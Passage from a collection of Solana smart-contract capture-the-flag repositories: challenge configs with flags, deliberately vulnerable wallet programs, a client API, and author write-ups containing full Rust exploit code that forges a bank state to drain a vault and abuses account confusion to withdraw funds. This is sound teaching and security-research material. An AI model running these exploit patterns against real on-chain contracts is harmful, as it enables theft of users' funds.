destination.clone(), 82 | authority.clone(), 83 | ], 84 | ) 85 | } 86 | _ => { 87 | panic!("wrong ix") 88 | } 89 | } 90 | } 91 | ``` -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/author/writeup.md: -------------------------------------------------------------------------------- 1 | # Legit Bank 2 | 3 | The `invest`-instruction enables the bank manager to withdraw arbitrary funds from the vault, and is obviously only supposed 4 | to let the bank manager withdraw those funds. This is ensured, by checking that `manager_info`'s pubkey matches the bank 5 | manager pubkey on the bank state and that account has signed the transaction: 6 | ```rust 7 | // verify that manager is correct 8 | let bank: Bank = Bank::try_from_slice(&bank_info.data.borrow())?; 9 | if bank.manager_key != manager_info.key.to_bytes() { 10 | return Err(0xbeefbeef.into()); 11 | } 12 | ``` 13 | 14 | However there are no checks on the bank state 15 | itself. This means we can craft our own bank state by just copying the old bank state, replacing the bank manager with our 16 | own account, and steal all funds: 17 | 18 | ```rust 19 | let client = localhost_client(); 20 | let payer = read_keypair_file("rich-boi.json").unwrap(); 21 | let mut env = RemoteEnvironment::new(localhost_client(), payer); 22 | 23 | let bank_program = Pubkey::from_str("Bank111111111111111111111111111111111111111").unwrap(); 24 | let flag_mint = Pubkey::from_str("F1agMint11111111111111111111111111111111111").unwrap(); 25 | let flag_program = Pubkey::from_str("F1ag111111111111111111111111111111111111111").unwrap(); 26 | let fake_manager = keypair(0); 27 | let fake_bank = random_keypair(); 28 | 29 | // create account to steal token to 30 | let flag_token_acc = env.get_or_create_associated_token_account(&fake_manager, flag_mint); 31 | 32 | // fetch bank (by querying for all accounts belonging to the bank program with the correct size) 33 | let (_, bank_account) = client 34 | .get_program_accounts_with_config( 35 | &bank_program, 36 | RpcProgramAccountsConfig { 37 | filters: Some(vec![RpcFilterType::DataSize(BANK_LEN)]), 38 | ..RpcProgramAccountsConfig::default() 39 | }, 40 | ) 41 | .unwrap()[0] 42 | .clone(); 43 | 44 | // set manager key to our own key 45 | let mut bank = Bank::try_from_slice(&bank_account.data).unwrap(); 46 | bank.manager_key = fake_manager.pubkey().to_bytes(); 47 | 48 | // write fake bank to chain 49 | env.create_account_with_data(&fake_bank, bank.try_to_vec().unwrap()); 50 | println!("written fake bank data to {}", fake_bank.pubkey()); 51 | 52 | // withdraw token with fake admin key 53 | env.execute_as_transaction( 54 | &[Instruction { 55 | program_id: bank_program, 56 | accounts: vec![ 57 | AccountMeta::new(fake_bank.pubkey(), false), 58 | AccountMeta::new(Pubkey::new(&bank.vault_key), false), 59 | AccountMeta::new(Pubkey::new(&bank.vault_authority), false), 60 | AccountMeta::new(flag_token_acc, false), 61 | AccountMeta::new_readonly(fake_manager.pubkey(), true), 62 | AccountMeta::new_readonly(spl_token::ID, false), 63 | ], 64 | data: BankInstruction::Invest { amount: 1 }.try_to_vec().unwrap(), 65 | }], 66 | &[&fake_manager], 67 | ) 68 | .print(); 69 | 70 | // get flag 71 | env.execute_as_transaction( 72 | &[Instruction { 73 | program_id: flag_program, 74 | accounts: vec![ 75 | AccountMeta::new_readonly(flag_token_acc, false), 76 | AccountMeta::new_readonly(fake_manager.pubkey(), true), 77 | ], 78 | data: vec![], 79 | }], 80 | &[&fake_manager], 81 | ) 82 | .print_named("flag"); 83 | ``` 84 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level3-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Account Confusion 2 | 3 | The vulnerability in this contract is called *account confusion*. Outside of solana smart contracts this type of vulnerability is called *type confusion*. It happens whenever data is misinterpreted. Programs often have to rely on a certain data structure, and it sometimes doesn’t verify the type of object it receives. Instead, it uses it blindly without type-checking. Users also often can not control the data directly for a certain type, but for another one they can. A type confusion bug can mean that a program expects that the data cannot be user controlled, but it fails to check the type, therefore a malicious attacker trick the program to use the controlled data instead. For example, in this instance an attacker can initialize a second vault and use the withdraw instruction with the vault account as a pool account. 4 | 5 | In this case, we confuse a `TipPool` with a `Vault`. The fields will overlap nicely resulting in e.g. the `TipPool.value` overlapping with the `Vault.fee`. 6 | 7 | ```rust 8 | pub struct TipPool { 9 | pub withdraw_authority: Pubkey, // at the same position as Vault::creator 10 | pub value: u64, // at the same position as Vault::fee 11 | pub vault: Pubkey, // at the same position as Vault::fee_recipient 12 | } 13 | 14 | pub struct Vault { 15 | pub creator: Pubkey, 16 | pub fee: f64, 17 | pub fee_recipient: Pubkey, 18 | pub seed: u8, 19 | } 20 | ``` 21 | 22 | Another thing that may be tricky to wrap your head around is that the program can be initialized twice, PDAs can be derived by a different seed result in different addresses, while in this case this is totally intended, there can be some cases, where not knowing this can lead to serious vulnerabilities. 23 | 24 | Here is the example exploit code that Felipe, one of our colleagues, wrote: 25 | 26 | ```rust 27 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 28 | let seed: u8 = 1; 29 | let hacker_vault_address = 30 | Pubkey::create_program_address(&[&[seed]], &challenge.tip_program).unwrap(); 31 | 32 | env.execute_as_transaction( 33 | &[level3::initialize( 34 | challenge.tip_program, 35 | hacker_vault_address, // new vault's address 36 | challenge.hacker.pubkey(), // initializer_address. Aliases with TipPool::withdraw_authority 37 | seed, // seed != original seed, so we can create an account 38 | 2.0, // some fee. Aliases with TipPool::amount (note u64 != f64. Any value >1.0 is a huge u64) 39 | challenge.vault_address, // fee_recipient. Aliases with TipPool::vault 40 | )], 41 | &[&challenge.hacker], 42 | ) 43 | .print(); 44 | 45 | let amount = env.get_account(challenge.vault_address).unwrap().lamports; 46 | 47 | env.execute_as_transaction( 48 | &[level3::withdraw( 49 | challenge.tip_program, 50 | challenge.vault_address, 51 | hacker_vault_address, 52 | challenge.hacker.pubkey(), 53 | amount, 54 | )], 55 | &[&challenge.hacker], 56 | ) 57 | .print(); 58 | } 59 | ``` 60 | 61 | # Mitigation 62 | 63 | By adding a type attribute to all accounts, this vulnerability can be prevented (details [here](https://blog.neodyme.io/posts/solana_common_pitfalls#solana-account-confusions)). -------------------------------------------------------------------------------- /allesctf21/secret-store/secret-store.cue: -------------------------------------------------------------------------------- 1 | package challenges 2 | 3 | challenges: "secret-store": { 4 | enabled: true 5 | displayName: "Secret Store" 6 | category: "Zoomer Crypto" 7 | difficulty: "Baby" 8 | author: "localo" 9 | broker: "secret-store" 10 | brokerProtocol: "solana-explorer" 11 | 12 | description: """ 13 | It's rumored that you can get a free flag on the Solana blockchain, but it's locked behind a secret! Can you still obtain it? 14 | 15 | The contract is deployed at: `Secret1111111111111111111111111111111111111` 16 | 17 | This challenge has the same setup as all Solana Smart Contract challenges: a validator running in a docker container that you have to interact with via RPC. 18 | 19 | This challenge can be solved by just using the store-cli and solana cli. 20 | 21 | If you got the secret, you can get the flag by calling 22 | 23 | ``` 24 | store-cli -k ./keys/rich-boi.json get-flag 25 | ``` 26 | 27 | We recommend using the [Solana PoC Framework](https://github.com/neodyme-labs/solana-poc-framework) which facilitates fast exploit development. Alternatively you can also use the official 28 | [rust api](https://docs.rs/solana-client/1.7.10/solana_client/rpc_client/struct.RpcClient.html), the official [js api](https://solana-labs.github.io/solana-web3.js/) 29 | or any other way you can think of interacting with the RPC server. Solana also has a multitude of [cli tools](https://docs.solana.com/cli/install-solana-cli-tools). Please note 30 | however that due to setup limitations, the TPU port of the validator is not exposed, which means the `solana program deploy` command will not work. The Solana PoC Framework has a 31 | [function](https://docs.rs/poc-framework/0.1.0/poc_framework/trait.Environment.html#method.deploy_program) for this that only uses the rpc endpoint and will work. 32 | 33 | The [solana explorer](https://explorer.solana.com/) works with any cluster your browser can reach. Just click on the `Mainnet Beta` button and enter the url of the RPC 34 | endpoint into the `Custom` text field. Checking the `Enable custom url param` checkbox might also be useful for collaboration. The explorer allows you to inspect accounts 35 | and transactions and has a bunch of useful features. 36 | 37 | The goal of these challenges is to obtain a flag-token (mint `F1agMint11111111111111111111111111111111111`). After you got one, you have to call the flag contract 38 | `F1ag111111111111111111111111111111111111111`. The instruction data is ignored, the first account has to be a spl-token account that contains a flag token and the second 39 | account has to be the owner of the token account. The second account needs to sign the transaction, to proof that you really got the flag. 40 | 41 | A good starting point is the Solana documentation: 42 | - [https://docs.solana.com/developing/programming-model/overview](https://docs.solana.com/developing/programming-model/overview) 43 | - [https://spl.solana.com/token#operational-overview](https://spl.solana.com/token#operational-overview) 44 | - [https://docs.solana.com/developing/clients/jsonrpc-api](https://docs.solana.com/developing/clients/jsonrpc-api) 45 | """ 46 | 47 | flag: "ALLES!{Nothing is secret on 🅱️ L O C K C H A I N}" 48 | points: 500 49 | files: [ 50 | { 51 | name: "secret-store.zip" 52 | sha256sum: "6b7528f659d81567512ad3887749b548fb359c420889e515d4aeb02623b29b60" 53 | }, 54 | ] 55 | } 56 | -------------------------------------------------------------------------------- /solhana-ctf/client/api.js: -------------------------------------------------------------------------------- 1 | import * as fs from "fs"; 2 | import got from "got"; 3 | import { v4 as uuid } from "uuid"; 4 | import { parseAccounts } from "./util.js"; 5 | 6 | export const PLAYERFILE = "player.json"; 7 | 8 | const URL = "http://35.188.83.0:3000"; 9 | 10 | // convenience for making valid rpc requests 11 | // our server interface accepts them, so we must construct them 12 | function rpc(method, params) { 13 | return { 14 | headers: { "Content-Type": "application/json" }, 15 | body: JSON.stringify({ 16 | jsonrpc: "2.0", 17 | id: uuid(), 18 | method: method, 19 | params: params, 20 | }), 21 | }; 22 | } 23 | 24 | // create a player. this airdrops 100 sol to a new account and returns its keypair 25 | // the response is formatted as a valid solana keyfile and is saved to disk 26 | export async function createPlayer() { 27 | const res = (await got.post(`${URL}/player`)).body; 28 | 29 | const obj = parseAccounts(res); 30 | 31 | console.log(`your pubkey is ${obj.player.publicKey.toString()}`); 32 | console.log(`writing accounts to disk as ${PLAYERFILE}...`); 33 | fs.writeFileSync("../" + PLAYERFILE, res); 34 | 35 | return obj; 36 | } 37 | 38 | // required for building transactions 39 | // we dont provide a full rpc interface so you need to do this yourself 40 | // returns a string, which is in fact the proper typescript type 41 | export async function getLatestBlockhash(url, pubkey) { 42 | return (await got.post( 43 | `${url}/${pubkey.toString()}`, 44 | rpc("getLatestBlockhash", []), 45 | ).json()).result.value.blockhash; 46 | } 47 | 48 | // required for allocating accounts 49 | // i... think this can be calculated offline since its never changed 50 | // but of all the hills i choose this one to be robust on 51 | export async function getMinimumRent(url, pubkey, size) { 52 | return (await got.post( 53 | `${url}/${pubkey.toString()}`, 54 | rpc("getMinimumBalanceForRentExemption", [size]), 55 | ).json()).result; 56 | } 57 | 58 | // posts a signed transaction object to the server 59 | // returns the status code. 200 only means that we made it to chain 60 | // the server does not confirm transactions. it doesnt even handle preflight failure 61 | // the server is not a test environment. please test against your own validator 62 | export async function sendTransaction(url, pubkey, transaction) { 63 | return (await got.post( 64 | `${url}/${pubkey.toString()}`, 65 | rpc("sendTransaction", [transaction.serialize().toString("base64")]), 66 | ).json()).result; 67 | } 68 | 69 | // deploys arbitrary binary data as a solana program. exciting! 70 | // the server pays rent with and assigns authority to a fresh keypair 71 | // technically you can deploy programs yourself via sendTransaction 72 | // but if you actually do that, you should get a hobby 73 | export async function deployProgram(url, pubkey, buffer) { 74 | return (await got.post(`${url}/program/${pubkey.toString()}`, { body: buffer })).body; 75 | } 76 | 77 | // get a flag for a given challenge number 78 | // the way this works is you do whatever transactions you want to achieve a win condition 79 | // then call this, and the server will verify your winstate on chain 80 | export async function getFlag(url, pubkey, challenge) { 81 | let flag = null; 82 | try { 83 | flag = (await got.get(`${url}/flag/${challenge.toString()}/${pubkey.toString()}`)).body; 84 | } 85 | catch(e) {} 86 | 87 | return flag; 88 | } 89 | -------------------------------------------------------------------------------- /allesctf21/secret-store/solution/author/Solution.md: -------------------------------------------------------------------------------- 1 | ``` 2 | $ solana transaction-history --show-transactions --url http://localhost:1024 "Secret1111111111111111111111111111111111111" 3 | 2D2GAvgU5jvC8pmJNHxp5rQReDDXXg8ocPeyUBTs6eQHxYEJwXbkmdTMkhrzogqWK9Ub9QGgTjuVZKc2YaVRsbSE 4 | Recent Blockhash: G4o7LHo6Jxex2b1G3ocNoZWeKjkiSGqJqqhMk9GswJ2j 5 | Signature 0: 2D2GAvgU5jvC8pmJNHxp5rQReDDXXg8ocPeyUBTs6eQHxYEJwXbkmdTMkhrzogqWK9Ub9QGgTjuVZKc2YaVRsbSE 6 | Signature 1: zSRNwYLnqrnnr7HoaR5pKvoPXuJ6pegtgmysuL1oyBDZnXDvU39uwubrYEWo9a1cG5yQ76nPNFDMRZHXxVwgH5f 7 | Account 0: srw- BueKapuDHHfBcDCw7zB4uZwxb6BWmAFPdA3v8diCspTK (fee payer) 8 | Account 1: sr-- DtwhRLm3xMDGBnXcLzYygxNrd8Hz2QHbQsNtMGJ1iYsQ 9 | Account 2: -rw- 4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN 10 | Account 3: -rw- 3GpBPRBeG4gKMjGnB39B8jxfKy7zNgTA2TnKuxojHEm8 11 | Account 4: -r-- SysvarRent111111111111111111111111111111111 12 | Account 5: -r-- 11111111111111111111111111111111 13 | Account 6: -r-- TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA 14 | Account 7: -r-x Secret1111111111111111111111111111111111111 15 | Instruction 0 16 | Program: Secret1111111111111111111111111111111111111 (7) 17 | Account 0: 4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN (2) 18 | Account 1: BueKapuDHHfBcDCw7zB4uZwxb6BWmAFPdA3v8diCspTK (0) 19 | Account 2: 3GpBPRBeG4gKMjGnB39B8jxfKy7zNgTA2TnKuxojHEm8 (3) 20 | Account 3: DtwhRLm3xMDGBnXcLzYygxNrd8Hz2QHbQsNtMGJ1iYsQ (1) 21 | Account 4: SysvarRent111111111111111111111111111111111 (4) 22 | Account 5: 11111111111111111111111111111111 (5) 23 | Account 6: TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA (6) 24 | Data: [0, 114, 33, 13, 253, 126, 138, 181, 140] 25 | Status: Ok 26 | Fee: ◎0 27 | Account 0 balance: ◎500000000 -> ◎499999999.9990534 28 | Account 1 balance: ◎0 29 | Account 2 balance: ◎0 -> ◎0.00094656 30 | Account 3 balance: ◎0.00203928 31 | Account 4 balance: ◎0.0010092 32 | Account 5 balance: ◎0.000000001 33 | Account 6 balance: ◎0.000000001 34 | Account 7 balance: ◎0.000000001 35 | Log Messages: 36 | Program Secret1111111111111111111111111111111111111 invoke [1] 37 | Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA invoke [2] 38 | Program log: Instruction: SetAuthority 39 | Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA consumed 2153 of 193996 compute units 40 | Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA success 41 | Program 11111111111111111111111111111111 invoke [2] 42 | Program 11111111111111111111111111111111 success 43 | Program Secret1111111111111111111111111111111111111 consumed 14456 of 200000 compute units 44 | Program Secret1111111111111111111111111111111111111 success 45 | 46 | 1 transactions found 47 | 48 | 49 | $ solana account --url http://localhost:1024 4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN 50 | 51 | Public Key: 4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN 52 | Balance: 0.00094656 SOL 53 | Owner: Secret1111111111111111111111111111111111111 54 | Executable: false 55 | Rent Epoch: 0 56 | Length: 8 (0x8) bytes 57 | 0000: 72 21 0d fd 7e 8a b5 8c r!..~... 58 | 59 | ``` 60 | 61 | ```python 62 | import struct 63 | struct.unpack(">Q",struct.pack(">> 10139162414110548338 66 | 67 | $ ./target/debug/store-cli -k ./keys/rich-boi.json get-flag "3GpBPRBeG4gKMjGnB39B8jxfKy7zNgTA2TnKuxojHEm8" 10139162414110548338 68 | 69 | [cli/src/main.rs:170] tt.transaction.meta.unwrap().log_messages = Some( 70 | [ 71 | "ALLES!{🅱lockchain}", 72 | ], 73 | ) 74 | ``` 75 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level1/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | 11 | pub enum WalletInstruction { 12 | /// Initialize a Personal Savings Wallet 13 | /// 14 | /// Passed accounts: 15 | /// 16 | /// (1) Wallet account 17 | /// (2) authority 18 | /// (3) Rent sysvar 19 | /// (4) System program 20 | Initialize, 21 | /// Deposit 22 | /// 23 | /// Passed accounts: 24 | /// 25 | /// (1) Wallet account 26 | /// (2) Money Source 27 | Deposit { amount: u64 }, 28 | /// Withdraw from Wallet 29 | /// 30 | /// Passed accounts: 31 | /// 32 | /// (1) Wallet account 33 | /// (2) authority 34 | /// (3) Target Wallet account 35 | Withdraw { amount: u64 }, 36 | } 37 | 38 | #[repr(C)] 39 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 40 | pub struct Wallet { 41 | pub authority: Pubkey, 42 | } 43 | 44 | pub const WALLET_LEN: u64 = 32; 45 | 46 | pub mod processor; 47 | use processor::process_instruction; 48 | entrypoint!(process_instruction); 49 | 50 | pub fn get_wallet_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 51 | let (wallet_address, _) = 52 | Pubkey::find_program_address(&[&authority.to_bytes()], &wallet_program); 53 | wallet_address 54 | } 55 | 56 | pub fn initialize(wallet_program: Pubkey, authority_address: Pubkey) -> Instruction { 57 | let wallet_address = get_wallet_address(authority_address, wallet_program); 58 | Instruction { 59 | program_id: wallet_program, 60 | accounts: vec![ 61 | AccountMeta::new(wallet_address, false), 62 | AccountMeta::new(authority_address, true), 63 | AccountMeta::new_readonly(sysvar::rent::id(), false), 64 | AccountMeta::new_readonly(system_program::id(), false), 65 | ], 66 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 67 | } 68 | } 69 | 70 | pub fn deposit( 71 | wallet_program: Pubkey, 72 | authority_address: Pubkey, 73 | source: Pubkey, 74 | amount: u64, 75 | ) -> Instruction { 76 | let wallet_address = get_wallet_address(authority_address, wallet_program); 77 | Instruction { 78 | program_id: wallet_program, 79 | accounts: vec![ 80 | AccountMeta::new(wallet_address, false), 81 | AccountMeta::new(source, true), 82 | AccountMeta::new_readonly(system_program::id(), false), 83 | ], 84 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 85 | } 86 | } 87 | 88 | pub fn withdraw( 89 | wallet_program: Pubkey, 90 | authority_address: Pubkey, 91 | destination: Pubkey, 92 | amount: u64, 93 | ) -> Instruction { 94 | let wallet_address = get_wallet_address(authority_address, wallet_program); 95 | Instruction { 96 | program_id: wallet_program, 97 | accounts: vec![ 98 | AccountMeta::new(wallet_address, false), 99 | AccountMeta::new(authority_address, true), 100 | AccountMeta::new(destination, false), 101 | AccountMeta::new_readonly(system_program::id(), false), 102 | ], 103 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /pool/client/framework/chall/tests/challenge.ts: -------------------------------------------------------------------------------- 1 | import {createAssociatedTokenAccount, createMint, mintTo} from '@solana/spl-token'; 2 | import * as anchor from "@project-serum/anchor"; 3 | import {Program} from "@project-serum/anchor"; 4 | import {Challenge} from "../target/types/challenge"; 5 | import { 6 | cancelWithdrawal, 7 | createPool, 8 | deposit, 9 | initIfNeeded, 10 | processWithdrawalQueue, 11 | requestWithdrawal 12 | } from "./utils/utils"; 13 | 14 | describe("Challenge demo", () => { 15 | // -- Configure the client to use the local cluster. 16 | anchor.setProvider(anchor.AnchorProvider.env()); 17 | 18 | const program = anchor.workspace.Challenge as Program; 19 | let provider = anchor.getProvider(); 20 | let connection = provider.connection; 21 | 22 | it("Demonstrates how to interact with the challenge", async () => { 23 | const adminKeypair = anchor.web3.Keypair.generate(); 24 | const adminAirdropTx = await connection.requestAirdrop(adminKeypair.publicKey, 1000000000); 25 | await connection.confirmTransaction(adminAirdropTx, "confirmed"); 26 | 27 | // -- Create token mint 28 | console.log("Creating legit mint"); 29 | let mintPubkey = await createMint( 30 | connection, 31 | adminKeypair, 32 | adminKeypair.publicKey, 33 | null, 34 | 18, 35 | undefined, 36 | {commitment: "confirmed"}, 37 | ); 38 | 39 | // -- Init the program 40 | console.log("Initializing program"); 41 | let configPubkey = await initIfNeeded(program, adminKeypair); 42 | 43 | // -- Create pool 44 | console.log("Creating legitimate pool"); 45 | let pool = await createPool(program, configPubkey, adminKeypair, mintPubkey); 46 | 47 | // -- Create admin token accounts 48 | let adminTokenAccountPubkey = await createAssociatedTokenAccount( 49 | connection, 50 | adminKeypair, 51 | mintPubkey, 52 | adminKeypair.publicKey, 53 | ); 54 | 55 | let adminRedeemTokenAccountPubkey = await createAssociatedTokenAccount( 56 | connection, 57 | adminKeypair, 58 | pool.redeemMintPubkey, 59 | adminKeypair.publicKey, 60 | ); 61 | 62 | // -- Mint tokens 63 | console.log("Minting tokens") 64 | await mintTo( 65 | connection, 66 | adminKeypair, 67 | mintPubkey, 68 | adminTokenAccountPubkey, 69 | adminKeypair, 70 | 1000, 71 | undefined, 72 | {commitment: "confirmed"}, 73 | ); 74 | 75 | // -- Deposit tokens to pool 76 | console.log("Depositing funds to pool") 77 | await deposit(program, pool, adminKeypair, adminTokenAccountPubkey, adminRedeemTokenAccountPubkey); 78 | 79 | // Request withdrawals 80 | console.log("Requesting withdrawals") 81 | let adminWithdrawal1 = await requestWithdrawal(program, pool, 10, adminKeypair, adminRedeemTokenAccountPubkey); 82 | let adminWithdrawal2 = await requestWithdrawal(program, pool, 10, adminKeypair, adminRedeemTokenAccountPubkey); 83 | 84 | // Cancel one withdrawal 85 | console.log("Cancelling one of the withdrawals"); 86 | await cancelWithdrawal(program, pool, adminKeypair, adminWithdrawal1.nodePubkey); 87 | 88 | // Process the withdrawal queue 89 | console.log("Processing withdrawal queue") 90 | await processWithdrawalQueue(program, pool); 91 | }); 92 | }); 93 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level2/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | 11 | pub enum WalletInstruction { 12 | /// Initialize a Personal Savings Wallet 13 | /// 14 | /// Passed accounts: 15 | /// 16 | /// (1) Wallet account 17 | /// (2) authority 18 | /// (3) Rent sysvar 19 | /// (4) System program 20 | Initialize, 21 | /// Deposit 22 | /// 23 | /// Passed accounts: 24 | /// 25 | /// (1) Wallet account 26 | /// (2) Money Source 27 | /// (3) System program 28 | Deposit { amount: u64 }, 29 | /// Withdraw from Wallet 30 | /// 31 | /// Passed accounts: 32 | /// 33 | /// (1) Wallet account 34 | /// (2) authority 35 | /// (3) Target Wallet account 36 | /// (4) Rent sysvar 37 | /// (5) System program 38 | Withdraw { amount: u64 }, 39 | } 40 | 41 | #[repr(C)] 42 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 43 | pub struct Wallet { 44 | pub authority: Pubkey, 45 | } 46 | 47 | pub const WALLET_LEN: u64 = 32; 48 | 49 | pub mod processor; 50 | use processor::process_instruction; 51 | entrypoint!(process_instruction); 52 | 53 | pub fn get_wallet_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 54 | let (wallet_address, _) = 55 | Pubkey::find_program_address(&[&authority.to_bytes()], &wallet_program); 56 | wallet_address 57 | } 58 | 59 | pub fn initialize(wallet_program: Pubkey, authority_address: Pubkey) -> Instruction { 60 | let wallet_address = get_wallet_address(authority_address, wallet_program); 61 | Instruction { 62 | program_id: wallet_program, 63 | accounts: vec![ 64 | AccountMeta::new(wallet_address, false), 65 | AccountMeta::new(authority_address, true), 66 | AccountMeta::new_readonly(sysvar::rent::id(), false), 67 | AccountMeta::new_readonly(system_program::id(), false), 68 | ], 69 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 70 | } 71 | } 72 | 73 | pub fn deposit( 74 | wallet_program: Pubkey, 75 | authority_address: Pubkey, 76 | source: Pubkey, 77 | amount: u64, 78 | ) -> Instruction { 79 | let wallet_address = get_wallet_address(authority_address, wallet_program); 80 | Instruction { 81 | program_id: wallet_program, 82 | accounts: vec![ 83 | AccountMeta::new(wallet_address, false), 84 | AccountMeta::new(source, true), 85 | AccountMeta::new_readonly(system_program::id(), false), 86 | ], 87 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 88 | } 89 | } 90 | 91 | pub fn withdraw( 92 | wallet_program: Pubkey, 93 | authority_address: Pubkey, 94 | destination: Pubkey, 95 | amount: u64, 96 | ) -> Instruction { 97 | let wallet_address = get_wallet_address(authority_address, wallet_program); 98 | Instruction { 99 | program_id: wallet_program, 100 | accounts: vec![ 101 | AccountMeta::new(wallet_address, false), 102 | AccountMeta::new(authority_address, true), 103 | AccountMeta::new(destination, false), 104 | AccountMeta::new_readonly(sysvar::rent::id(), false), 105 | AccountMeta::new_readonly(system_program::id(), false), 106 | ], 107 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/legit-bank.cue: -------------------------------------------------------------------------------- 1 | package challenges 2 | 3 | challenges: "legit-bank": { 4 | enabled: true 5 | displayName: "Legit Bank" 6 | category: "Zoomer Crypto" 7 | difficulty: "Easy" 8 | author: "CherryWorm, bennofs" 9 | broker: "legit-bank" 10 | brokerProtocol: "solana-explorer" 11 | 12 | description: """ 13 | You came across this very legit looking bank on the Solana blockchain. They swear they won't pull the rug! But can you pull it? 14 | 15 | The contract is deployed at: `Bank111111111111111111111111111111111111111` 16 | 17 | This challenge has the same setup as all Solana Smart Contract challenges: a validator running in a docker container that you have to interact with via RPC. 18 | 19 | We recommend using the [Solana PoC Framework](https://github.com/neodyme-labs/solana-poc-framework) which facilitates fast exploit development. Alternatively you can also use the official 20 | [rust api](https://docs.rs/solana-client/1.7.10/solana_client/rpc_client/struct.RpcClient.html), the official [js api](https://solana-labs.github.io/solana-web3.js/) 21 | or any other way you can think of interacting with the RPC server. Solana also has a multitude of [cli tools](https://docs.solana.com/cli/install-solana-cli-tools). Please note 22 | however that due to setup limitations, the TPU port of the validator is not exposed, which means the `solana program deploy` command will not work. The Solana PoC Framework has a 23 | [function](https://docs.rs/poc-framework/0.1.0/poc_framework/trait.Environment.html#method.deploy_program) for this that only uses the rpc endpoint and will work. 24 | 25 | The [solana explorer](https://explorer.solana.com/) works with any cluster your browser can reach. Just click on the `Mainnet Beta` button and enter the url of the RPC 26 | endpoint into the `Custom` text field. Checking the `Enable custom url param` checkbox might also be useful for collaboration. The explorer allows you to inspect accounts 27 | and transactions and has a bunch of useful features. 28 | 29 | The goal of these challenges is to obtain a flag-token (mint `F1agMint11111111111111111111111111111111111`). After you got one, you have to call the flag contract 30 | `F1ag111111111111111111111111111111111111111`. The instruction data is ignored, the first account has to be a spl-token account that contains a flag token and the second 31 | account has to be the owner of the token account. The second account needs to sign the transaction, to proof that you really got the flag. 32 | 33 | Alternatively, use the provided CLI after building with `cargo build`: 34 | 35 | `bank-cli -u http://localhost:1024 -k keys/rich-boi.json get-flag YOUR_FLAG_TOKEN_ACCOUNT -a keys/rich-boi.json` 36 | 37 | Note that the docker image uses old versions that might not be compatible with what you're running. 38 | If you're having issues, try rust version 1.59 and the following dependencies: 39 | 40 | ``` 41 | [dependencies] 42 | poc-framework = "=0.1.6" 43 | spl-token = "=3.2.0" 44 | ``` 45 | 46 | ``` 47 | rustup install 1.59 48 | rustup run 1.59 cargo build 49 | ``` 50 | 51 | 52 | A good starting point is the Solana documentation: 53 | - [https://docs.solana.com/developing/programming-model/overview](https://docs.solana.com/developing/programming-model/overview) 54 | - [https://spl.solana.com/token#operational-overview](https://docs.solana.com/developing/programming-model/overview) 55 | - [https://docs.solana.com/developing/clients/jsonrpc-api](https://docs.solana.com/developing/clients/jsonrpc-api) 56 | """ 57 | 58 | flag: "ALLES!{Some Smart Contracts are not very smart :(}" 59 | points: 500 60 | files: [ 61 | { 62 | name: "legit-bank.zip" 63 | sha256sum: "d041723181d68d9d8ea2acb9471b28e6362b4a0f0660e66f6494c2b71f965fb1" 64 | }, 65 | ] 66 | } 67 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level1/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | msg, 6 | program::{invoke, invoke_signed}, 7 | program_error::ProgramError, 8 | pubkey::Pubkey, 9 | rent::Rent, 10 | system_instruction, 11 | sysvar::Sysvar, 12 | }; 13 | 14 | use crate::{Wallet, WalletInstruction, WALLET_LEN}; 15 | 16 | pub fn process_instruction( 17 | program_id: &Pubkey, 18 | accounts: &[AccountInfo], 19 | mut instruction_data: &[u8], 20 | ) -> ProgramResult { 21 | match WalletInstruction::deserialize(&mut instruction_data)? { 22 | WalletInstruction::Initialize => initialize(program_id, accounts), 23 | WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), 24 | WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 25 | } 26 | } 27 | 28 | fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 29 | msg!("init"); 30 | let account_info_iter = &mut accounts.iter(); 31 | let wallet_info = 